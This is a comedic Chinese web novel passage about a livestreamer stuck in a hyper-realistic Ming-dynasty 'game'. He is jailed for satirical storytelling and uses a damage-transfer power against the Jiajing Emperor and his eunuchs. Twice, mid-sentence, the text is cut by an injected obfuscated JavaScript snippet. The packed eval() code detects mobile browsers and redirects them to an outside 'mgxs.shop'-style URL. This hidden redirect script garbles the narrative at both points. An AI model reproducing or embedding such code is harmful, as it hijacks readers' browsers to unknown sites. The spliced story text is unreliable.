《我还以为是游戏呢[综历史]》 1. 皇帝 “三月以来,京师仁寿坊的治安大为好转,我对此做出了不可磨灭的贡献。”杨易道:“你知道是为什么吗?” 对面监牢的犯人蓬头垢面,一脸呆滞:“为什么?” “因为我落网了。” 盘坐的犯人张了张嘴,终于只能归于沉默。他面无表情地凝视了杨易一眼,终于翻倒卧下,用肮脏的屁股对准了他,再明显不过地表示了拒绝。 面对如此的冷淡,杨易只好叹了口气,左右环顾四面——当然,他是什么也看不到的;因为到昨天为止,所有陪伴他的狱友都在简短的交流后莫名精神崩溃了;这些人只是和他彼此聊了几句,突然就开始啊啊大叫,或者就地打滚,甚至对着他破口大骂,反正非常之不礼貌,动静也闹得相当之大,所以先后都被押出了牢房,送到单独的隔间禁闭冷静;而如今——如今,今早刚刚被送来的狱友也陷入了某种古怪的抑郁状态,完全拒绝沟通,所以杨易最后一个可供倾述的伙伴也没有了。 总之,他现在只能无聊地,寂寞地盘坐在自己监狱的干草上,望着上方呆滞不动的系统数字出神。 ……到底怎么回事呢? · ——这一切到底是怎么回事呢? 自从接下了那个古怪的商单之后,杨易已经在心里无数次地这么自问过了。 作为全网最高性价比的、首屈一指的整活主播,杨易于三个月前收到了一份来自某个新成立全息公司的商单,邀请他亲身体验什么号称一比一高复刻还原的“超大型历史全息开放游戏”,尽力炒作人气,汲取注意力,为新游戏的推广炒作热度。当然,商单本身的要求是古怪了点,譬如什么不能中途退出、不能破坏本身秩序之类——但看在丰厚酬劳之上,一切限制似乎也完全可以接受;所以杨易并未多想,兴高采烈地在合同上签下了自己的大名。 不过,等真正登陆游戏之后,杨易才渐渐察觉到了不对。虽然宣传册上确实号称什么“一比一还原”,但他确实没有料到这玩意儿居然能还原得如此逼真:进入游戏之后,没有提示,没有引导,没有亲切友善的新手村NPC;而作为一头雾水的新手玩家,他被直接扔在了京城人来人往、熙熙攘攘的大街上,呆久了居然还会饥饿,走多了居然还会腿疼,但那个天杀公司提供给他的,除了一个稀奇古怪,只会提示“前面的区域,以后再来探索吧”的智障账号之外,就只有三百文大钱的启动资金——刚刚够他在此处吃饭、住宿,勉强生活三天! 天杀的,这是什么跪在真实的惊天粪作呀! 但合同都签了,他也没有办法。所以杨易在原地愣了半天,动用他的惊世智慧仔细斟酌了很久,认真思忖了关键的问题——显然,现在他最紧要、最急迫的任务,是必须得给自己找个班上上,争取能做一个稳定的牛马;毕竟此处不是暗网,绝大部分的观众,应该都不会喜欢看猎奇向的都市求生;其次,他还必须得想办法完成扯蛋合同的整活kpi,收集情绪值后趁早脱身,才算妥当——于是,思来想去,反复揣摩,他最终费尽心力,想法了一个最为适合自己的班:在茶馆说书。 这个选择也是很自然的。毕竟抛弃时代与技术的不同,网络主播和大堂说书人其实没有什么本质区别,都是逗乐、整活,讲述奇葩故事,过往的成功经验,完全可以顺利迁移;而且,杨易本人还为这个游戏职业做了很周到的安排,为了充分调研,规划未来,他专门从紧张的储备中挤出了预算听人说书,并认真总结了规律:游戏中说书人的热门题材,似乎都局限在《三国》、《水浒》、《杨家将》等传统内容之上;部分涉及三藏法师西行取经的内容,也相当之原始、散乱、不成体系,摆明还有巨大挖掘空间。 ——机遇如此,那还等待什么?! 杨易下定决心,说干就干,几天后就和仁寿坊日月兴大茶馆的东家谈妥了分成,在大堂摆设茶座,正式讲起了自我改编版的西游记;绘声绘色,极近夸张,不过数月,便招引得宾客满座,人流济济,茶馆利润,几近翻番。杨易收入也随之暴增,轻而易举就在京城站稳了脚跟,声明远播,财源滚滚,眼看就是一个完美的穿越市井小说的开头,接下来就该做大做强,登上巅峰,展望辉煌未来了。 然后呢?然后在他兢兢业业,卖命说书的某一天,忽然就有十几个锦衣卫从天而降,指责他“妖言惑众、罪在不赦”,直接一条锁链,把他捆起来下大牢了! 杨易:? 懵逼的杨易非常之懵逼,搞不懂好好的市井经营流开头,怎么又会突然遇到如官场恶斗的粪作展开。他一开始不知所措,还以为是自己说书出了岔子弄出了治安问题,才把锦衣卫激得大怒——毕竟人多了确实容易斗殴,而杨易讲的内容,偶尔又比较的有争议性。 譬如说吧,他在闲暇时也会应客人的请求讲一讲《三国》,但为了标新立异,吸引足够的整活情绪值,往往又要做一点必要的改编,比如什么“司马懿自河北出仕,所以是河北大魏代”之类——而每到这个时候,也总会有人情绪失控,跳起来破口大骂,甚至当众叫嚷,拂袖而去云云…… 说实话,第一次见到观众反应这么大,杨易心中也是吓了一跳的;不过他很快发现,这些人叫归叫骂归骂,但下一次讲《三国》的时候,却又时刻不差的必定前来捧场,捧完场后继续大骂、叫嚷、拂袖而去——然后甩的茶钱,却要比平时足足多上三倍;相反,你要畏惧了不讲《三国》,那人家下次反而就不来了! 事实如此,何话可说?所谓利令智昏,不能自制,杨易虽然心头打鼓,但居然也硬着头皮讲了下去,而且每讲必有一场大闹。在被锦衣卫抓住的前一天,他就刚好讲到“风从虎,云从龙,龙虎英雄傲苍穹”,于是几个常客终于不堪忍受,跳起来面红耳赤,嘶声大叫,把茶水点心都掀了一地,险些惊动了兵马司…… ——唉,要是以此给他定个教唆打斗的罪名,那其实也不算冤枉啊! 因为这点愧疚,深具道德感的杨易被抓捕后很是配合;锦衣卫叫他坐就坐,叫他躺就躺,叫他交代隐情,他就一五一十老实交代;不过,每次交代之后,提审的锦衣卫总会露出某种非常古怪、非常可怕的表情,而且反应也相当一致,那就是震惊、大怒、然后拍着桌子,叫他不用东拉西扯——提审了几次之后,他们甚至不知道从哪里给杨易找了个大夫来,给他摸脉、问诊,开什么清理脑子的定心散——不过,这医生只和他聊了几次,之后也莫名其妙,不见踪影;据杨易无意间听隔壁狱友私下蛐蛐,好像说这大夫已经有点疯了—— 好吧,杨易也不是傻的;被来回审了几天后他也看出来了;虽然这些锦衣卫审的时候是神神秘秘,从来不肯吐露自己的目的;但杨易依旧觉得,他们好像并不怎么关心暴力斗殴事件。 “我一开始还以为,是茶馆的打斗闹大了,或者伤到了什么重要人物。这才把我牵连了进去。”他对着隔壁喋喋不休:“但现在看来,这些人根本不在乎什么斗不斗殴,他们甚至都不愿意听我把引发斗殴的那段《三国》讲完;每次都是很粗暴的打断,非常无礼。” 躺倒在隔壁的狱友一动不动,就跟听不到一样。 “而且,我申请和茶馆东家见面的回复也下来了,竟然不许!他分明是看日月兴茶馆强盛壮大,才故意驳回我的请求!这般胡作非为,如何可以忍耐!” 躺着的狱友还是一动不动,一声不出。 “总之。”杨易总结道:“既然不是为了斗殴,也不是为了治安,那我呆在这里也没有意义了。就算真有什么过错,困在这里忍饥挨饿这么久,总也能交代得过去了吧?你知道的,我的事多,我得把精力放在更重要的事情上面。” 狱友依旧一动不动,真是朽木枯灰,呆若木鸡,叫人无聊之至。 杨易只能叹了口气,打开了光幕。上面跳动的数字显示,连日以来,他从顾客、锦衣卫、大夫、狱友身上骗取——榨取——换取到的情绪价值已经满足要求,可以开启系统的基本功能。 那么,现在的选择就很简单了。杨易兑换了地图,点开了搜索功能;于是刹那间之间,红光闪耀,充斥了他的视野:这个地图会自动标红对玩家怀有敌意的NPC,但现在看来,附近仇恨他的npc似乎稍微有点多啊…… 不过这也没有关系,杨易左右移动地图,找到了西边那个红光最为显眼、被判定为最大威胁的亮点,然后点下了自动追寻——他倒要亲自看看,这几天莫名遭遇的牢狱之灾,到底是怎么个缘由? 一阵微风吹过,杨易消失在了原地。 · 自动追寻功能下,杨易像影子一样从牢狱中飘出,在寂静的街道上高速飞行;他掠过了艟艟的房屋,飘过巡视的更夫,无声无息穿梭于大街小巷,所过只有残影;而随着速度急剧提升,四面的景色也迅即变化,建筑逐渐消弭,人烟逐渐稀少,他飘进了某个华美园林,在错落山石与奇特景致中来回穿梭,绕过起伏的楼台亭阁,在一处小小殿宇内显出身形。 还是那句话,这个游戏的功能真是完全没有必要的真实,杨易高速飞行如此之久,落地后居然头晕目眩,向后踉跄数步,将身侧的金盆带翻在地,当啷就是一声巨响。 巨响刚起,殿宇前笼罩的纱幔便飘动了起来,两把白玉拂尘立刻从内里探出,支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288069|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了重重的轻纱,显露出内里高耸的八卦台,以及台上飘逸的人影——头戴羽冠,手执如意,面容清癯,气度高华;纱幔掀动之后,身披的鹤羽大氅便随着微风而起伏飘荡,仿若御风。 他注目下首,一双黑沉眸子动也不动,直直盯住了站立台下的杨易;显然,此人刚才已经亲眼目睹了杨易由幻影化为人形的奇异过程,但神色依旧是高深莫测,似乎并无特异之处——他注视片刻,垂下眼睛: “来者何人?” 作为非常有道德的玩家,对于自己贸然进入,损伤财物的举止,杨易还是颇有些尴尬的。他咳嗽了一声,移开目光,假装左右环顾;但不偏不倚,恰恰就望到飘拂轻纱后的高台;八卦高台上巍峨耸立,正是三块闪闪发亮、气势恢弘的神位: “凌霄上清统雷元阳妙一飞玄真君”! “九天宏教普济生灵掌阴阳功过大道思仁紫极仙翁一阳真人元虚玄应开化伏魔忠孝帝君”! “太上大罗天仙紫极长生圣智昭灵统元证应玉虚总掌五雷大真人玄都境万寿帝君”! 杨易:………… 杨易愣了片刻,终于回过神来: “你是嘉靖皇帝!” 怪不得系统会把此人标红得这么闪闪发亮,引人注目!一个封建的皇帝对玩家抱有敌意,当然是最大的威胁、迫在眉睫的危险——但问题是,他又哪里得罪了皇帝呢? 听说这嘉靖帝呆在西苑修道炼丹,折磨宫人,也是多年没有外出了吧?这么宅的老登皇帝,怎么会平白与刚降临的玩家产生恩怨呢?杨易有些懵逼。 听到来人如此大呼小叫,轻纱内登时有了动静,但嘉靖皇帝却不动声色,只是将手中如意向右一摆,于是一切骚动,顷刻又消失不见——显而易见,嘉靖帝并不打算立刻追求来者的无礼。 这当然是非常罕见、非常诡异的耐心,如果有贴身的大宦官服侍于此处,大概登时就要目瞪口呆,脱口惊呼,说我从来没见过少爷这样认真的对一个男孩子;而如此罕见的耐心,自然也意图明显: “你用什么法门进来的?” 杨易没有理他。 “原来是嘉靖皇帝!”他震惊之余,喃喃自语:“我就说嘛,为什么锦衣卫这么阴阳怪气,没有耐心,连段《三国》都不肯听我讲完!我还以为是他们天生不正常呢——现在看,这纯粹就是物肖主人,有什么样的上级,就有什么样的下级,后天被熏陶出来的尖酸刻薄,不说人话么——” 无论有着什么样的耐心,这样的斥责都实在太过分了。嘉靖帝勃然色变,抬手掷出如意: “欺天了!” 而身后纱幔之中,亦爆出一声尖利地大喝: “动手!拿人!” 嗖地一声风响,殿阁正门外跃出两个矫健雄壮的人影,苍鹰也似的扑向站立正中的杨易——这是潜伏护驾的东厂高手,直至听闻呼唤,才终于雷霆动手,果断抓人——左边太监十指箕张,鹰抓一样的按向逆贼的肩膀;右边太监标指下探,直刺逆贼腿窝紧要穴位;御前伺候的人没有傻的,三两句对话中他们已经听出来皇帝对此人还有兴趣,所以必得留一个活口;但是狂徒嚣恶,又不能不施加重罚,那么就干脆下狠手折断他的手脚,好好为陛下出一口被冒犯的恶气。 东厂武功,毒辣阴损,如此狠手要是落实,大概逆犯当场就要废掉,满地打滚,嘶声惨叫,甚至痛哭流涕,直接失禁——而杨易呢?喔,杨易当然是不可能反应过来的,因为作为一个宅主播,其战力最多只能过一过小区野猫——所以,他只是茫然转头,觉有劲风扑面,泪水直流,朦胧看到鹰爪一样的手搭上了自己的肩膀,随即嘎嘣一声,迅猛用力—— “啊!!!” 惨叫与哀嚎即刻爆发了,剧痛的人影从地上弹射起步,在空中旋转一圈半,扑通栽倒在了地上;虽然有厚重地毯的保护,坠落仍然造成了二次伤害,引发了新一轮更加凄厉的号叫——而此时此刻,惊呆的人们终于反应了过来,三个太监从轻纱中拼命挣出,屁滚尿流地爬到了瘫软抽搐的人形前: “陛下!陛下!” 站立原地的杨易摊了摊手,望向高处飘动的字迹: 【内测功能:移伤·已开启】 【移伤:玩家遭受的任何伤害,均可转移至敌意npc承受】 · “我说。”面对着前方翻滚惨叫,涕泗横流,两三个太监都压制不住的飞玄真君,杨易轻轻叹了口气,转头望向左近的高手太监——这两个太监一手抓他的肩膀,一手拧他的大腿,还呆呆的愣在原地呢: “你们下手是不是也太狠了些?” 2. 冲突 刹那之间,那两个东厂高手并没有说话,他们只是木楞地、呆滞地望着他们手中的囚犯,表情一片空白,仿佛完全不能理解现实发生了什么。 不过,恐惧与僵硬并不能左右事实;在东厂高手们宕机的时候,翻滚而下的飞玄真君仍然在抽搐、尖叫、拼命挣扎,从台上赶下来的大太监连滚带爬,膝行到了他的身边,大哭着呼唤皇爷,叫喊祖宗,或者试图摁住真君的手脚,阻止他在剧痛中给自己来个二次伤害——可惜,大太监们根本不敢用力,反倒被痛苦中乱挣的皇帝撞倒在地,宽袍长袖翻滚搅成一团,真是胡天胡地,不明所以—— “太狠辣啦。”杨易喟叹道:“锦衣卫的大牢里都没有这种刑罚!众目睽睽,当真成何体统……” 殿阁中虽然叫嚷成一团,但他这几句咕哝,仍然是隐约可闻;于是贴身与飞玄真君肉搏的几个太监之中,终于有人恍然抬起了头——此人身着蟒袍,胸戴锦鸡补子,正是当朝司礼监秉笔,兼管东厂的厂公麦福——管特务的人反应当然更快一些,即使在如此匪夷所思的仓促刺激之中,麦公公仍然隐约反应了过来:为什么东厂高手动手之后,皇爷会莫名其妙地重创瘫倒?这个离奇出现的怪人又做了什么?他嘴里念念叨叨,到底又是在唱诵什么魔咒?—— “让他闭嘴,让他闭嘴!”麦公公尖叫道:“绝不许此人开口!” 无论什么邪门歪道,及时打断前摇都是正确的处置;东厂高手训练日久,服从已入骨髓,听闻如此呼唤,本能就抬起手来,反手就是一个响亮耳光——以他们的雄浑掌力,这一巴掌下去,当然没有人能开口了 ,对不对? 于是,啪的又一声爆响,瘫软飞玄真君猛地向上一挺,也不知是哪里榨出来的潜力,居然将七手八脚的太监们全部掀飞;身体反弓,两眼暴凸,口鼻渗血,发出了一长串更加凄厉、尖锐,简直不像人的号叫—— 哎呀,也就是真君这几日闭关清修,等闲不许其余宫人靠近,否则满宫上下,怕还不是以为里头在杀猪呢! 杨易注目着面前手脚乱挥,赫赫大叫的皇帝——如果说先前的伤口还比较隐蔽,除了满地打滚以外看不出什么异样;那么至少这一耳光的效果就非常显著了;在他的注视下,真君清癯的脸简直是肉眼可见的通红、肿胀了起来,短短半柱香内就变成了原来的两倍大;而飞溅的鼻血、口水、眼泪,更是斑斑皆是,不计其数……这一巴掌的力道还真可以呀! 他情真意切,脱口赞叹:“好功夫!” 真奇怪,明明是这样发自内心的赞美,两位高手却并不感到荣幸;事实上,他们面色惨白,摇摇欲坠,神色比打滚的飞玄真君还要恐怖;当杨易转头望向他们时,东厂高手干脆原地打起了哆嗦。 “所以。”杨易亲切地问他们:“你们还要再来一耳光么?” 西洋的经书不是说了吗?别人打你的左脸,你连右脸也要伸过去给他打。杨易恪守准则,是多么的善呐! 雄壮威武的东厂高手嘤咛一声,终于两眼一翻,软软栽倒在地,再无动静了。 杨易摇了摇头,从瘫软如死猪的高手身上跨过,信步走向了前方翻滚的飞玄真君;当然,贴身护驾的绝不止这几人,很快又有高手自两面奔出,张手挡在了杨易面前——不过,他们并不怎么敢面对杨易,刚一靠近,就要瑟缩后退,所谓两腿战战,几欲先走,大概纯粹是靠着根深蒂固的忠心,才没有屁滚尿流,嚎啕而去。 ——拜托,刚刚的两轮变故大家也看到了,你确定要和这样的人为敌么? 会赢吗? 还好,杨易也无意与这些牛马为难。所以他礼貌地停在原地,低头看飞玄真君继续挣扎,呜呜叫骂,痛得张嘴乱咬;而几个贴身太监则汗水淋漓,号啕大哭,也顾不得对面诡异举动,只忙着给皇帝撕扯衣服,推宫过血,按穴止痛;就算手臂被一口咬住,也绝不敢挣扎半分,只求能安抚老登情绪。 如此折腾了半柱香的功夫,飞玄真君痛苦嘶哑的喘息声终于小了下去,呼吸也渐渐平缓;大概宫中的秘方确有妙用,或者真君修道多年,还真有些常人意料不到的修为,居然如此重创,都还能缓过一口气来,是实在可以称一句了不得的。 围绕跪坐的大太监们擦了一把额头上的汗水,在惊恐与后怕中吐出了一口浊气;当然,他们的情绪绝不能稍有放松,因为解决了最要紧的事情后,他们当然立刻就要面对最可怕、最恐怖的威胁…… 杨易彬彬有礼: “你们好。” 围坐的宦官们抽动了一下,呼吸几乎暂停。终于,在场地位最高、与皇帝关系亦最为亲密的司礼监首席秉笔黄锦抬起头来,脸上完全没有表情。 他道:“你要做什么?” “是这样的。”杨易道:“在下姓杨名易,在京城说书混一口饭吃。口干舌燥,赚点茶钱,即没有招谁,也没有惹谁;不料数日前市井骚动,莫名其妙就被锦衣卫抓了下大狱,至今仍然不知罪名,我想来想去,不明所以,只有到这里来向列位诸公请教。” 黄锦:………… 那一瞬息之间,黄锦简直不知道自己能说些什么了。到底是该震撼于这古怪奇葩的理由,还是怨恨下头惹出的天大麻烦。什么抓人下狱,什么秘密审讯,他这做司礼监秉笔的是真的一点风声都不知道,想来定是下面的人在自作主张,施展手腕——是的,他自己也知道,带明的情报组织从来不是如臂使指,私下里肯定有人在揽私活谋私利,大搞远洋捕捞;但是,你捕捞个别的也就算了,这种不可名状的沟槽怪物也是你们能碰的吗? 蠢猪!白痴!天生天成的二百五!你们是把京城阴沟的水灌进了脑子了,还是吃了巴豆配潲水,把十八辈子的心眼都从肛肠里喷射出去了? 老子,老子真是被你们这些贱种给害惨了!! 说实话,要是那个负责审讯的蠢货眼下在此,那黄公公麦公公就是拼了性命不要,也得一左一右飞扑出去,生生咬下这狗种的蛋来,叫他品鉴品鉴此时公公们亲身经历的痛苦——没错,此时大太监们内心之煎熬苦痛,甚至还在当初噶蛋之上;要是不能感同身受,又怎么足以报偿万一? 可惜,现在的黄公公必须保持冷静,咬碎了牙也要硬顶: “此事咱委实一无所知,还请告知首尾。” “其实我也很莫名其妙。”杨易叹了口气:“三天前我还在日月兴茶馆说书呢,突然就有两个锦衣卫冲进来,哐当就上了手铐,拖着就走,只说我什么‘妄言诽谤’,其余一句也不肯解释;把周遭的人都吓得够呛……” 在座诸位都是行家里手了,一听这套流程就知道确实是标准的锦衣卫拿人,不是什么虚言诓骗;黄锦迟疑片刻,望向了趴伏在侧的东厂提督麦公公——从刚刚那一耳光坏了事后,麦公公就趴在原地不吭声了;但现在他也装不下去了,事情牵涉锦衣卫,当然只有手握厂卫大权的厂公才能回话。麦公公哆嗦着抬起头来,语气发飘: “三天之前,咱家并不在京中,东厂当值的是……” 话音未落,旁边扑通一声响,一直跪在左近的某个年轻太监以头抢地,咚咚做声,登时嚎啕大哭: “干爹恕罪,干爹恕罪,奴婢该杀,奴婢该杀!” 麦福望向他,立刻认了出来:此人是自己收养过的干儿子高凤,因为跪舔得力被提拔司礼监经厂提督太监的位置;偶尔也帮着看一看东厂的事务;当然,麦公公识人入微,是知道此人雄心勃勃,诡诈多变的,只是自以为能够驾驭,所以从来不以为意而已;但现在看来…… 麦公公的脸色,顷刻间变得非常难看了! “皇爷饶命,干爹饶命!”高凤叩头出血,涕泗横流:“奴婢,奴婢也是接到了外头文官的检举,说有人在皇城眼皮子下宣讲什么《西游记》,分明隐匿邪说,大逆不道;这《西游记》,又似乎,似乎与翰林院的李春芳颇有瓜葛。奴婢也是一时心急,怕有人内外勾连了污蔑皇爷,才壮起狗胆,犯下大错……” 说到此处,高凤抬起右手,啪啪给了自己两记狠辣耳光;于是五道指痕,顷刻浮现,两行鲜血,自鼻孔蜿蜒而下,混着汗水眼泪,将一张肿胀的脸搞得一塌糊涂,真正是叫人望之生悯。 不过,黄公公麦公公对此并无怜悯;实际上几个大太监跪坐着怒目而视,目光灼灼,尖利逼人,简直要把这高凤戳个透明窟窿——大家都是宫里老油条,弯弯绕是一听就懂,绝无隔阂:什么“文官检举”?什么“颇有瓜葛”?说白了,不就是这小杂种一时上头,和臭穷酸里外勾结,想靠着锦衣卫搜罗证据、讨好皇帝,把如今的翰林院掌院李春芳搞下台罢了! 宣讲《西游记》的人大逆不道——李春芳本人与《西游记》颇有瓜葛——翰林院有人内外勾连;这条证据链只要做实,李春芳还呆得住吗?这杂种用心奸巧,倒也真是算得入港!只是,只是料不到人算不如天算,辛苦钓了这么久的鱼,钓上的居然是这么个活爹!! 天杀的,你这狗入的王八真有点运气! 当然,现在可轮不到麦公公飞扑上前,清理门户了。因为那来历诡异的杨姓说书人明显表现出了好奇。 “大逆不道?”杨易道:“一本《西游记》而已,怎么就说得上隐匿邪说了呢?” 你要说他讲的《三国》隐匿邪说,他勉强也就认了;毕竟新时代的改编,似乎不太吻合旧时代的残党。但《西游记》怎么了?西游记不就是看猴打架吗?看猴打架还成罪过了? 这不可理喻的怪物居然开口发问;高凤真是抖如筛糠,几欲昏厥;他咬破嘴唇,拼命忍耐,无奈吃吃开口: “……外头,外头检举说,你——先——尊——说那篇车迟国求雨的时候,编排车迟国国王崇信妖道,什么‘我车迟国,头一等就是万岁君王,好道爱贤’,还讲什么‘不知是道士做了皇帝,还是皇帝变了道士’?这,这……” ——这句话一出口,不仅大太监们面面相觑,就连瘫在地上的万寿帝君、忠孝帝君、飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288070|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄真君嘉靖皇帝都猛烈抽搐了一下——显然,这描述摆明了就是在直球讽刺君主迷信道士,痴狂方术,延误国事,一塌糊涂;那么你不妨猜一猜,当下最迷信道术、最痴狂方士,最渴盼‘万岁君王’,甚至疯癫入脑,一口气挥霍了数百万求仙的道士皇帝,又到底是谁? 你这叫阴阳怪气么?你这叫影射么?拜托,你这都直球嘲讽到脸上了好吧?你干嘛不再顺着编上几句,就说这车迟国国王姓贾名敬,早年求文如今修道,最后是吃丹药吃坏了事,蹬腿时腹中坚硬如铁,面皮嘴唇烧得紫绛皱裂一般? ——这么看起来,这高凤还真没有抓错人哪! 如此一语点破,杨姓说书人也恍然大悟了——唉,事实上他每次说书都是现编现讲,对着简要大纲自行发挥,即兴发挥的内容比原作多出十倍以上;所以口若悬河一通讲完,立刻原地清空,自己都不一定记得自己讲些了什么;如今被人提醒,才终于勉强想起了这一小小细节。 哎呀,无怪乎杨易被莫名拎到天牢之后,每次锦衣卫审问,都是叽里咕噜,含糊其辞,只说他“妖言诽谤、煽动邪说”,却又从来不肯吐露他到底诽谤了谁;要是被问得急了,这些锦衣卫还要拍桌大怒,斥责他“不要东拉西扯”、“自己知道是谁”! “自己知道是谁”——他怎么知道是谁?杨易真是一头雾水,只能在私下里称呼这个神秘的指控对象为“连名字都不能提的人”! 所以—— 他望向飞玄真君,脱口道: “原来陛下就是那个连名字都不能提的人?!” 这也真是他的疏忽了,怎么能无视掉这么明显的暗示呢?都是连名字都不能提的人,都渴求长生不老,都是心理扭曲,果于杀戮——哎呀,你说这谁还能分清楚飞玄真君和you-know-who呢? 飞玄真君:? 大太监们目瞪口呆,没有说话;小太监们战战兢兢,不敢说话;飞玄真君则是死猪一摊,说不出话;杨易在原地想了一想,又道: “不过,《西游记》居然也是一部悼明之作,这倒是我没有想到的……算了,我的事就暂且不提了,你说李春芳李先生与此有瓜葛,那又有什么证据呢?” 高凤颤了一颤,赶紧回话: “外面交上来了几份手抄的《西游记》稿子,恰与说书的脉络相符;因为这稿子似乎是从李春——李先生的宅邸附近流传开的,因此奴婢猪油蒙了心肝,斗胆生出怀疑来。” 这倒也很正常,高凤是司礼监经厂提督太监,主管宫中一应经书印版及印成书籍,当然会对京城文化界的风声非常敏感;如果有意罗织,迅速就能集齐物证。便是清贵如翰林院掌院李春芳,等闲也难逃落网。 不过,面对如此阴狠盘算,说书人真正在意的却似乎是另一件事: “……手抄本?” 不必怀疑了,系统已经在他面前弹出了光幕。光幕显示,后世所传的西游记最早版本,是万历二十年的世德堂新刻出像官板,距今有数十年光景;也就是说,如果真能确认这份手抄本的存在,那么它就将是西游戏留存的最早物证;对于西游记创作溯源、版本流变、明代出版业技术更迭,都有无可思议的考证意义——绝对是最顶级的文物。 杨易微微瞪大了眼睛。 “真有手抄本么?不知可否一观呢?” 高凤:?? ……诶不是,话题怎么突然转到这玩意儿头上了? 高凤兀自呆滞,他干爹麦公公却是人老成精,迅速就反应了过来,于是迫不及待,赶紧脱口而出: “快,快!你这狗种,还不快带他——先生去看!” 高凤愣了一愣,低声道: “……可是,这抄本和诸多凭证,都被存在东配殿的耳房里,现在各处已经落锁。没有印信,怕是开不了门。” 为什么《西游记》的手抄本会存在飞玄真君清修密室附近的耳房里?无非又是高凤这杂种心怀叵测,想找个机会私下向皇帝呈贡证据,给李春芳直接来手狠的罢了!不过,现在大太监们也顾不了这些无聊小事了,黄锦一把扯下腰间的司礼监印信,当啷一声扔了过去: “还不快去!” 高凤只能战栗答应,爬过去捡起了印信,手软腿软地站了起来,哆嗦着挪到那妖——仙——说书人面前。 说实话,他宁愿拿着拨火棍捅老虎的鼻子,也不愿意单独面对这个可怕的说书人;但没有办法,现在宫殿中精神紧绷的大宦官们可比老虎可怕多了,是更加不能触怒的存在。他只能眼含热泪,一步一停,颤抖走在前方,领着这怪物摇摇摆摆地出去了。 说书人的身影消失在了殿门处,空旷殿阁内却依旧没有动静;宦官宫人们还是呆呆跪坐原地,连呼吸都不敢乱了一瞬;直到——直到殿门外传来叮当一声金磬轻响,硬挺着的大太监们才一起软倒在地,抽搐痉挛,乃至放声大哭了起来! ——苍天呀!! · 3. 逃跑 这一腔死里逃生的热泪,真是由心而发,感情至真,简直要将此生一切的恐惧惊怖,都从喉咙中呕将出来——不仅大太监们哭得面红耳赤、冠带散乱,就连瘫在地上的飞玄真君都啊啊做声,两行血泪,蜿蜒而下,悲痛简直不可名状—— 不过,这不受控制的情绪爆发也只有极短的空隙;片刻之后,哭得浑身乱颤的黄锦便狠掐一把大腿,生生冷静了下来。他嘶声道: “还得保着皇爷快点走!” 配殿的耳房距离此处也不过一百余丈的距离,就算高凤这狗种懂点人事百般拖延,那妖人最多半个时辰也能反应过来;此时不走,更待何时? 这话说得有理,立刻就有强壮太监跪爬了过来,伸手去抓真君的手臂,大概想按照演练过的护卫方案行事,背着人施展轻功跑路——不过,他手刚碰到真君玉体,皇帝登时便嗷的一声惨叫,本能就是一个巴掌,要教训这大胆贱奴——然后又是第二声惨叫!! 大内分筋错骨手的威力,是跟你开玩笑的? 多亏了说书人奥妙神通,侥幸逃脱一记耳光的高手吓得连连磕头: “奴婢死罪,奴婢死罪,奴婢这就去传轿辇!” “没眼力见的蠢货!”黄锦怒火中烧,一口唾了过去:“你也不动动你的狗脑,现在能取轿子吗!” 为了皇帝闭关的清净,存放轿辇的脚房恰恰就安置在西北角——离那妖人取文件的耳房不过百步!你猜,你大张旗鼓的抬个轿子过来,妖人会不会当没看见? 下跪的太监结巴了:“这,这,这——” 走也走不得,背也背不得,轿子也不能取;这还怎么办?总不能一屁把皇帝崩到天上去吧?我们飞玄真君还没修成这种神通呢! 还好,高层总还有精明的角色;另一个司礼监秉笔张佐膝行过来,对着兀自嚎啕的皇帝磕头: “万岁明鉴,奴婢斗胆想了个法子,只是实在冒犯天威……” “啊,啊!” ——都什么时候了,你这阉货屁话还这么多!快说! 张佐道:“奴婢兼管着殿中杂务。依稀记得,数年前万岁为霜眉,霜眉大人修了个小暖轿,现在还搁在柜子里头呢;立时是可取的,大小似乎也还妥当;只是实在亵渎……” 嘉靖愣了一愣,记起来霜眉正是他数年前豢养的爱猫,当时宠溺疼惜无所不至,因为怕霜眉冬日里扑来扑去冻了小jio,甚至特命能工巧匠赶制了一座暖轿,专门拨人抬着霜眉游园;不过年深日久,霜眉也已经飞升喵星(喔,从真君服食金丹的习惯看,它也可能是飞升了重金属星球),真君不愿睹物思猫,就将一切用具都锁了起来。但现在想来…… 事出情急,真君也顾不得什么亵渎了,他啊啊连声,表示赞同;张佐立刻爬起,带着一群手下冲到后殿去取东西。西苑内的东西存放得都很妥当,找到拆卸的配件后现场拼装,半盏茶的功夫就抬了一辆小轿子出来;用毛毯褥子稍作铺垫,赶紧恭请真君入内安坐。 事实证明,霜眉的确也没有辜负真君的宠爱;至少它在的时候努力把自己吃得又肥又壮,不似小猫,倒像小猪,所以承载它的暖轿造得相当宽大,居然真能装下清瘦的飞玄真君。 只不过,真君的腿如今吃了一发大力裂骨抓,稍一弯曲就要痛得打滚;所以太监们没有办法,只有拆下窗子,让真君两条无处安放的大长腿左右岔开,从窗中翘出,恰恰成一个“v”型;夜间寒凉,岔出的双腿容易受冻,太监又赶忙在两边各搭了毛毯;于是暖轿挪动之时,就是左右各有一条细腿,细腿上飘飘荡荡,毛毯纷飞起伏…… 喔对了,在被抱上这猫猫暖轿时,好容易缓过一口气的真君还想起了一件大事。 